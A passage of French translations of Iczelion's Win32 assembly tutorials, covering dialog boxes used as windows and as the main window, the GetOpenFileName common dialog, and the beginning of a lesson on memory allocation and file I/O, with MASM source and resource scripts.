.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Dialog.rc

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our First Dialog Box"
CLASS "DLGCLASS"
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13, WS_GROUP
END

MyMenu MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

Analyse:

On va analyser ce premier exemple.
Cet exemple montre comment créer un calibre de dialogue (un template) en tant que classe de fenêtre (Window Class), et créer "une fenêtre" à partie de cette classe. ça simplifie notre programme puisque on n'a pas besoin de créer de 'child window controls' soi-même.
On va d'abord analyser le calibre de DialogBox.

MyDialog DIALOG 10, 10, 205, 60

On déclare le nom de la DialogBox, dans ce cas, "MyDialog" suivi du mot-clé "DIALOG". Les quatre nombres suivants sont : x, y, largeur et hauteur de la DialogBox, ce sont des unités propres aux DialogBox (C'est pas des pixels).

STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK

Déclare les styles de la DialogBox.

CAPTION "Our First Dialog Box"

C'est le texte qui apparaîtra dans la barre de titre de la DialogBox.

CLASS "DLGCLASS"

Cette ligne est cruciale. C'est ce mot-clé CLASS qui nous permet d'employer le calibre de DialogBox en tant que 'Window Class' (classe de fenêtre). Puis, suivant le mot-clé on trouve le nom de la "Window Class"

BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

Le susdit bloc définit les 'child window controls' de la DialogBox. Ils sont définis entre les mots-clés BEGIN et END. Généralement la syntaxe est la suivante :

    control-type "text" ,controlID, x, y, width, height [,styles]
Les 'types' de contrôle sont propres au compilateur de ressource, donc vous devez consulter le manuel.
Maintenant voyons le code source assembleur. La partie intéressante est dans la structure de la 'Window Class ' :
    mov wc.cbWndExtra,DLGWINDOWEXTRA
    mov wc.lpszClassName,OFFSET ClassName
Normalement, ce membre est le NULL, mais si nous voulons enregistrer un calibre (template) de DialogBox en tant que Window Class (classe de fenêtre), nous devons donner à ce membre la valeur DLGWINDOWEXTRA. Notez que le nom de la classe doit être identique à celui qui est après le mot-clé CLASS définit dans le template de DialogBox. Les membres restants sont initialisés comme d'habitude. Après que vous ayez remplis la structure de classe de fenêtre, déclarez-la avec RegisterClassEx. Ça vous semble familier ? C'est la même routine que pour enregistrer une Windows Class (classe de fenêtre) normale.
    invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
Après avoir définit notre "Window Class", nous créons notre DialogBox. Dans cet exemple, je la crée comme une DialogBox sans modèle grâce à la fonction CreateDialogParam. Cette fonction prend 5 paramètres, mais en réalité, vous n'avez besoin que des deux premier : l'instance handle et le pointeur qui justement pointe sur 'le nom du calibre de DialogBox'. Notez que le 2ème paramètre n'est pas un pointeur sur le nom de class.
À ce point, la DialogBox et ses 'child window controls' sont créés par Windows. Votre procédure de fenêtre recevra comme d'habitude le message WM_CREATE.
    invoke GetDlgItem,hDlg,IDC_EDIT
    invoke SetFocus,eax
Maintenant que la DialogBox est créée, j'aimerai bien donner le Focus au contrôle d'édition (= on veut que la zone de saisie de texte soit active). Si je met ces codes dans la section WM_CREATE, l'appel GetDlgItem échouera parce que les 'child window controls' ne sont pas encore créés à ce niveau. La seule façon pour faire cela, c'est de l'appeler après que la DialogBox et tous ses 'child window controls' soient créés. C'est pour ça que j'ai mis ces deux lignes après l'appel à UpdateWindow. la fonction GetDlgItem prend comme paramètre l'handle de sa fenêtre parente ainsi que le n°ID du contrôle en question et en échange renvoie l' 'Handle' de ce contrôle. C'est de cette manière que vous pouvez récupérer un 'Handle' lorsque vous connaissez le n°ID d'un 'contrôle'.

invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF

Le programme entre dans la boucle des messages et avant que nous traduisions et réexpédions des messages, nous appelons la fonction IsDialogMessage pour que le manager de la DialogBox puisse s'occuper de la logique du clavier à notre place. Si ces retours de fonctions sont TRUES(VRAIS), alors ça signifie que le message est destiné à la DialogBox et est traité par le manager de la DialogBox. Remarquez une autre différence par rapport au Tutorial précédent. Quand la procédure de fenêtre veut récupérer le texte qui est inscrit dans la zone d'édition, elle appelle la fonction GetDlgItemText au lieu de GetWindowText. GetDlgItemText accepte un n°Id de contrôle au lieu d'un 'Handle'. Ceci rend l'appel plus facile dans le cas vous employez une DialogBox.

Maintenant on va voir à la deuxième approche, à savoir : l'utilisation d'une DialogBox comme fenêtre principale. Dans l'exemple suivant, je vais créer une DialogBox d'application modale. Vous ne trouverez pas de boucle de message ou de procédure de fenêtre parce qu'elles ne sont pas nécessaires!
dialog.asm (part 2)

.386
.model flat,stdcall
option casemap:none

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
DlgName db "MyDialog",0
AppName db "Our Second Dialog Box",0
TestString db "Wow! Je suis dans une zone d'édition",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL
invoke ExitProcess,eax

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSEIF ax==IDM_EXIT
invoke EndDialog, hWnd,NULL
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp
end start

dialog.rc (partie 2)

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDR_MENU1 3003

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our Second Dialog Box"
MENU IDR_MENU1
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

IDR_MENU1 MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

Suit l'analyse :

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

Nous déclarons le prototype de fonction de DlgProc ,ainsi nous pouvons lui attribuer l'opérateur addr à la ligne ci-dessous :

invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL

la susdite ligne appelle la fonction DialogBoxParam qui prend 5 paramètres : l'Instance handle', le 'nom du calibre de la DialogBox', l'handle de la fenêtre parente', l'adresse de la procédure de la de DialogBox et des données Spécifiques-DialogBox. DialogBoxParam crée une DialogBox modale. Rien ne sera retourné tant que la DialogBox ne sera pas détruite.

.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0

La procédure de Boîte de Dialogue ressemble à une procédure de fenêtre sauf qu'elle ne reçoit pas le message WM_CREATE. Le premier message qu'elle reçoit est WM_INITDIALOG. Normalement vous pouvez mettre le code d'initialisation ici. Remarquez que vous devez renvoier la valeur TRUE (VRAIE) dans eax si vous traitez le message.
Le manageur interne de la DialogBox n'envoie pas à notre procédure de boîte de Dialogue par défaut le message WM_DESTROY quand WM_CLOSE est envoyé à notre DialogBox. Ainsi si nous voulons réagir quand l'utilisateur presse le bouton 'Close' de notre DialogBox, nous devons traiter le message WM_CLOSE. Dans notre exemple, nous envoyons le message WM_COMMAND avec la valeur IDM_EXIT dans wParam. Ça a le même effet que lorsque l'utilisateur choisit l'item Exit du menu (le sous-menu : EXIT). EndDialog est appelée en réponse à IDM_EXIT.
Le traitement du messages WM_COMMAND reste le même.
Quand vous voulez détruire la DialogBox, il faut appeler la fonction EndDialog. N'essayez pas DestroyWindow! EndDialog ne détruit pas la DialogBox immédiatement. Il met seulement un Flag (drapeau) à l'intention du manager de la DialogBox et continue à exécuter les instructions suivantes.
Maintenant on va examiner le fichier de ressources. Un changement notable, c'est qu'au lieu d'utiliser d'une chaîne de texte en tant que nom de menu nous employons une valeur, IDR_MENU1. C'est nécessaire si vous voulez attacher un menu à une DialogBox créée avec DialogBoxParam. Notez que dans le calibre (template) de la DialogBox, vous devez ajouter le mot-clé MENU suivi du n°ID du menu déclaré dans le fichier de ressources.
La différence entre les deux exemples de ce Tutorial est l'abscence d'icône dans le dernier exemple. Cependant, vous pouvez mettre l'icône en envoyant le message WM_SETICON à la DialogBox pendant WM_INITDIALOG.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 11: More about Dialog Box

Tutorial 11: Encore Plus à Propos
Des DialogBox

Dans ce Tutorial, nous allons en apprendre encore plus sur les DialogBox. Plus spécialement, nous allons voir comment les employer en tant que dispositifs d'entrée-sortie. Si vous avez lu le tutorial précédent, celui-ci ne sera qu'une brise. Il s'agit ici d'une modification mineure pour pouvoir utiliser les DialogBox comme des adjonctions à notre fenêtre principale. Aussi dans ce tutorial, nous allons apprendre à utiliser les DialogBox comme elles sont utilisées normalement.

Downloadez les exemples de DialogBox ici et ici. Downloadez l'exemple de DialogBox couramment utilisée ici.

Théorie:

Vite fait, voici ce qui doit être dit à propos de l'emploi des DialogBox en tant que dispositifs d'entrée-sortie de notre programme. Comme d'habitude, notre programme crée la fenêtre principale puis quand vous voulez montrer la DialogBox, appelez juste CreateDialogParam ou bien DialogBoxParam. Avec un Call DialogBoxParam, vous n'avez rien de plus à faire, traitez seulement les messages dans la procédure de la Boîte de Dialogue. Avec CreateDialogParam, vous devez insérer un 'Call IsDialogMessage' dans la boucle de message pour permettre à l'administrateur de la DialogBox de gérer la navigation du clavier dans votre DialogBox à votre place. Puisque ces deux cas sont rares, je ne mettrai pas le code source ici. Vous pouvez télécharger les exemples et les examiner vous-même, ici et ici.
Il existe des objets prédéfinits et tout près à être utilisés, ce sont les 'Common Controls' voir le Tutorial 18. Il en existe beaucoup, mais ici nous nous limiterons seulement aux objets de type : DialogBox.
Continuons avec ces 'Common' DialogBox (DialogBox prédéfinies). Windows possède des DialogBox prédéterminées pour que vos applications puissent les utiliser. Ces DialogBox existent pour servir d'interfaces utilisateur standardisées. Il s'agit de boîtes comme celle de l'imprimante, la couleur, la fonte ou les DialogBox de recherche...etc. Vous devez les utiliser dès que c'est possible. Ces DialogBox prédéfinies résident dans comdlg32.dll. Pour les employer, vous devez vous lier avec comdlg32.lib. Vous créez ces DialogBox en appelant les fonctions appropriées dans la bibliothèque des 'Common' DialogBox . Pour sélectionner et ouvrir des fichiers, on se sert d'une DialogBox déjà à notre disposition, c'est la spéciale boîte d'ouverture de fichier, la boîte GetOpenFileName. Pour sauvegarder des fichiers on se sert de sa soeur la DialogBox GetSaveFileName, pour les impressions c'est la DialogBox d'impression, qui est PrintDlg et cetera. Chacune de ces fonctions utilise un pointeur en tant que paramètre qui pointe sur une structure. Vous devez les regarder dans la référence Win32 API. Dans ce Tutorial, on va justement voir comment créer et employer cette DialogBox servant à ouvrir des fichiers.
Voici ci-dessous le prototype de fonction de GetOpenFileName :
GetOpenFileName proto lpofn:DWORD
Vous pouvez voir qu'il ne reçoit qu'un seul paramètre, un pointeur sur la structure OPENFILENAME. La valeur de retour TRUE(VRAI) signifie que l'utilisateur vient de choisir un fichier pour l'ouvrir, sinon la valeur en retour est FALSE(FAUX). Voyons la structure OPENFILENAME maintenant.
OPENFILENAME STRUCT
lStructSize DWORD ?
hwndOwner HWND ?
hInstance HINSTANCE ?
lpstrFilter LPCSTR ?
lpstrCustomFilter LPSTR ?
nMaxCustFilter DWORD ?
nFilterIndex DWORD ?
lpstrFile LPSTR ?
nMaxFile DWORD ?
lpstrFileTitle LPSTR ?
nMaxFileTitle DWORD ?
lpstrInitialDir LPCSTR ?
lpstrTitle LPCSTR ?
Flags DWORD ?
nFileOffset WORD ?
nFileExtension WORD ?
lpstrDefExt LPCSTR ?
lCustData LPARAM ?
lpfnHook DWORD ?
lpTemplateName LPCSTR ?
OPENFILENAME ENDS
On va voir la signification des membres fréquemment employés.
lStructSize | Taille de la structure OPENFILENAME, en octets.
hwndOwner | handle de la DialogBox qui sert à ouvrir les fichiers.
hInstance | Instance Handle de l'application qui crée la 'DialogBox qui sert à ouvrir les fichiers'.
lpstrFilter | Sert à filtrer le type de chaînes de caractères à ouvrir. Il faut 2 NULL pour terminer cette instruction. La première chaîne de caractères est la description (donc le texte). La deuxième c'est le type de filtre. Par exemple, dans un répertoire on peut sélectionner tous les dossiers ou bien que les .exe ou bien seulement les .zip……etc: FilterString db "All Files (*.*)",0, "*.*",0 db "Text Files (*.txt)",0,"*.txt",0,0 Remarquez bien que c'est la deuxième chaîne de caractères (pour chaque ligne) qui en réalité sert à Windows à filtrer les fichiers. Donc vous êtes obligés de mettre un 0 supplémentaire à la fin de la chaîne de caractères du filtre pour en indiquer sa fin.
nFilterIndex | Indique quelle [paire de chaîne de caractères de] filtre sera utilisée par défaut dans la DialogBox qui sert à ouvrir les fichiers. Ce sera le 1, pour la première paire "All Files (*.*)", le 2 pour la deuxième paire "Text Files (*.txt)" etc. Ainsi dans notre exemple, si nous spécifions nFilterIndex en tant que 2, le deuxième modèle, "*.txt" sera employé.
lpstrFile | Le pointeur du buffer qui contient le nom de fichier qu'on a l'habitude d'initialiser dans la boîte d'édition de notre DialogBox (ici c'est le pointeur qui pointe sur le texte " ALL FILES ". Le pointeur doit avoir une longueur d'au moins 260 octets. Après que l'utilisateur ait choisit un fichier pour l'ouvrir, le nom de ce fichier ainsi que le chemin (Patch) complet où il est stocké, sont gardés dans ce buffer pstrFile. Vous pourrez en extraire l'information plus tard.
nMaxFile | La taille de buffer lpstrFile.
lpstrTitle | Pointeur du titre de la DialogBox qui sert à ouvrir les fichiers. (donc c'est le titre).
Flags | Détermine le style et les caractéristiques de la DialogBox.
nFileOffset | Après que l'utilisateur ait choisi un fichier pour l'ouvrir, ce membre contient le n° du premier caractère du nom du fichier réel. Par exemple, si le nom complet avec son chemin est "c:\Windows\system\lz32.dll", ce membre contiendra la valeur 18.
nFileExtension | Après que l'utilisateur ait choisi un fichier pour l'ouvrir, ce membre contient le numéro du premier caractère de l'extension du fichier. Ici c'est 23

Exemple:

Le programme suivant affiche une DialogBox servant à ouvrir des fichiers. Pour en ouvrir un, l'utilisateur doit choisir le Fichier avec le sous-menu 'OPEN'. Quand l'utilisateur choisit un fichier dans la DialogBox, le programme affiche une MessageBox montrant le nom complet, à savoir le nom du fichier avec l'extension de ce fichier.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_EXIT equ 2
MAXSIZE equ 260
OUTPUTSIZE equ 512

.data
ClassName db "SimpleWinClass",0
AppName db "Our Main Window",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
OurTitle db "-=Our First Open File Dialog Box=-: Choose the file to open",0
FullPathName db "The Full Filename with Path is: ",0
FullName db "The Filename is: ",0
ExtensionName db "The Extension is: ",0
OutputString db OUTPUTSIZE dup(0)
CrLf db 0Dh,0Ah,0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if ax==IDM_OPEN
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset ExtensionName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileExtension
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK
invoke RtlZeroMemory,offset OutputString,OUTPUTSIZE
.endif
.else
invoke DestroyWindow, hWnd
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance

Nous remplissons notre structure OPENFILENAME (que nous avons ici appelée 'ofn') avec les membres courants (de tout programme). Exemple 2e et 3e ligne: on place temporairement le Handle de notre programme sur la pile pour ensuite le reprendre. Et c'est le membre hwndOwner de notre structure 'ofn' qui le reçoit.

mov ofn.lpstrFilter, OFFSET FilterString

Ce FilterString est le filtre du nom de fichier que nous définissons comme suit :

FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
Remarquez que les quatre chaînes de caractères sont terminées par un Zéro. La première chaîne est la description de la chaîne suivante (EX : ''ALL FILES est la description de *.*''). Le modèle réel est la 2e chaîne de caractères, dans notre cas ce sont *. * et *.txt. En réalité nous pouvons prendre n'importe quel modèle d'extension. exemple : *.wavwav . Nous DEVONS mettre un zéro supplémentaire après la dernière chaîne de caractères à montrer pour signifier que c'est la fin du filtre. N'oubliez surtout pas ça, sinon votre DialogBox se comportera étrangement.

mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

Nous indiquons où la DialogBox mettra le nom du fichier que l'utilisateur vient de choisir. Notez que nous devons spécifier sa taille dans le membre nMaxFile. Plus tard, nous pourrons extraire le nom du fichier contenu dans ce buffer.

mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Flags indique les caractéristiques de la DialogBox.
Les 'flags' (les drapeaux) OFN_FILEMUSTEXIST et OFN_PATHMUSTEXIST exigent que le nom du fichier et le chemin que l'utilisateur tape dans la zone d'édition DOIVENT exister.
le 'flag' OFN_LONGNAMES dit à la DialogBox de montrer des noms de fichier longs. (et non pas des trucs du genre 'nomtropl~1.exe')
Le flag OFN_EXPLORER indique que l'apparition de la DialogBox doit être semblable à celle de l'Explorer Windows.
Le flag OFN_HIDEREADONLY cache la 'case à cocher : read-only ' de la DialogBox.
Il y a encore beaucoup d'autres flags que vous pouvez employer. Consultez votre référence Win32 API.

mov ofn.lpstrTitle, OFFSET OurTitle

Ce sera le titre de votre DialogBox qui sert à ouvrir des fichiers. Si vous effacez totalement cette ligne, son titre par défaut sera 'Open'

invoke GetOpenFileName, ADDR ofn

Appelle la fonction GetOpenFileName. On lui passe le pointer qui est sur la structure 'ofn' en tant que paramètre.
À partir d'ici, la DialogBox qui ouvre les fichiers, est affichée à l'écran. La fonction ne retournera pas avant que l'utilisateur ne choisisse un fichier pour l'ouvrir ou bien qu'il ne presse le bouton ANNULER ou FERMER de la DialogBox.
Il renverra la valeur TRUE(VRAI) dans eax si l'utilisateur choisit un fichier pour l'ouvrir. Sinon, il retournera FALSE(FAUX).

.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName

Dans le cas où l'utilisateur choisit un fichier pour l'ouvrir, nous préparons une chaîne de caractères pour qu'elle soit affichée dans une MessageBox. Nous réservons un bloc de mémoire dans la variable OutputString, puis ensuite nous nous servons de la fonction API lstrcat, pour concaténer ensembles les deux chaînes de caractères . Pour faire apparaître les chaînes sur plusieurs lignes, nous devons séparer chaque ligne avec un retour chariot (CRLF soit 0Dh, 0Ah).

mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax

Les susdites lignes exigent quelques explications. nFileOffset contient l'index choisit dans ofn.lpstrFile (ce n° c'est son positionnement). Mais vous ne pouvez pas les ajouter ensemble directement puisque nFileOffset est une variable de TAILLE 'WORD' et lpstrFile est de TAILLE 'DWORD'. Il faut donc mettre la valeur de nFileOffset dans le mot bas (le mot de poids faible) de ebx et l'ajouter à la valeur de lpstrFile.

invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK

Nous affichons la chaîne de caractères dans la MessageBox (boîte de message).

invoke RtlZerolMemory,offset OutputString,OUTPUTSIZE

Nous devons *effacer* le buffer OutputString servant à recevoir des chaînes de caractères avant que nous ne puissions la remplir avec une autre chaîne de caractères. Donc nous employons la fonction RtlZeroMemory pour effacer son contenu.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 12: Memory Management and File I/O

Tutorial 12 : Gestion de la Mémoire
Et des Fichiers d'entrée-sortie

Dans ce Tutorial, nous allons étudier de façon rudimentaire la gestion de la mémoire et les opérations sur les fichiers i/o (i/o=input/output=entrée sortie). En plus nous utiliserons le Common Control de type 'DialogBox d'overture de fichiers' (OpenFileName) en tant que dispositifs d'entrée-sortie.

Downloadez l'exemple ici.

Théorie:

La gestion de la mémoire sous Win32 du point de vue de l'application est très simple et directe. Chaque process possède 4 Go d'espace d'adresses mémoire. Le modèle de mémoire employé, est appelé le modèle de mémoire 'FLAT'(plat). Dans ce modèle, tous les registres de segment pointent sur la même adresse de départ, un offset sur 32 bits. Ainsi, une application peut accéder à n'importe quel endroit de la mémoire dans son propre espace d'adresses sans avoir besoin de changer la valeur des registres. Ça simplifie beaucoup la gestion de la mémoire. Il n'y a plus de pointers ou registres "Near" ou "FAR" désormais (pointers proches ou lointains).
Sous Win16, il y a deux principales sortes de fonctions API de mémoire : Global et Local. Le type d'API Global peut utiliser des Call qui vont vers des parties de mémoire se trouvant dans d'autres segments. Ainsi ce type d'API Global sont des fonctions de mémoires "lointaines". Le type d'API Local utilise des Call qui traitent uniquement avec la partie locale où le process en est . Donc ce sont des fonctions de mémoire "proches". Sous Win32, ces deux types sont identiques. Si vous appelez GlobalAlloc ou LocalAlloc, vous obtenez exactement le même résultat.
Voici les étapes pour allouer (réserver) et utiliser la mémoire :
  1. Réservez un bloc de mémoire en appelant GlobalAlloc. Cette fonction renvoie l'handle du bloc de mémoire demandé.
  2. "Lockez(Fermez contre des lectures/écritures d'autres programmes)" le bloc de mémoire en appelant GlobalLock. Cette fonction reçoit l'handle du bloc de mémoire et renvoie le pointer du bloc de mémoire.
  3. Vous pouvez employer le pointer pour lire ou écrire dans cette mémoire. (Seul votre programme y est autorisé maintenant)
  4. "Ouvrez" le bloc de mémoire en appelant GlobalUnlock. Cette fonction retourne un NULL et est sans effet sur le pointer du bloc de mémoire.
  5. Libérez le bloc de mémoire en appelant GlobalFree. Cette fonction reçoit l'handle du bloc de mémoire.
Vous pouvez aussi remplacer "Global" par "Local" comme LocalAlloc, LocalLock, etc.
Cette méthode sera davantage simplifiée plus loin en employant le flag 'GMEM_FIXED', dans l'appel de GlobalAlloc. Si vous utilisez ce flag, la valeur de retour de Global/LocalAlloc sera le pointer du bloc de mémoire alloué, et non pas l'Handle du bloque de mémoire. Vous ne devez pas appeler Global/LocalLock puis passer le pointer à Global/LocalFree sans appeler d'abord Global/LocalUnlock. Mais dans ce Tutorial, j'emploierai l'approche "traditionnelle".

Les fichiers d'entrée-sortie sous Win32 ressemblent étonnement à ceux sous DOS. Les étapes nécessaires sont les mêmes. Vous avez seulement besoin de changer les appels aux API, c'est tout. Les étapes exigées sont les suivantes :

  1. Ouvrez ou créez le fichier en appelant la fonction CreateFile. Cette fonction est bourrée de ressources : en plus des fichiers, elle est capable d'ouvrir des ports de communication, des lecteurs de disques ou le clavier. En cas de succès (quand tout ce passe bien), elle renvoie l'handle du fichier ou celui du Device = l'extension matérielle (ex: le clavier). Vous pouvez alors employer cet handle pour exécuter des opérations sur le fichier ou le Device.

    2. Déplacez le pointer dans le fichier à l'emplacement désiré en appelant SetFilePointer.
  2. Exécutez, lisez ou écrivez ce que vous souhaitez en appelant ReadFile ou WriteFile. Ces fonctions transfèrent des données d'un bloc de mémoire vers un fichier et inversement. Donc vous devez allouer(réserver) un bloc de mémoire assez grand pour qu'il puisse contenir les données.
  3. Fermez le fichier en appelant CloseHandle. Cette fonction reçoit l'Handle du fichier.

Contenu:

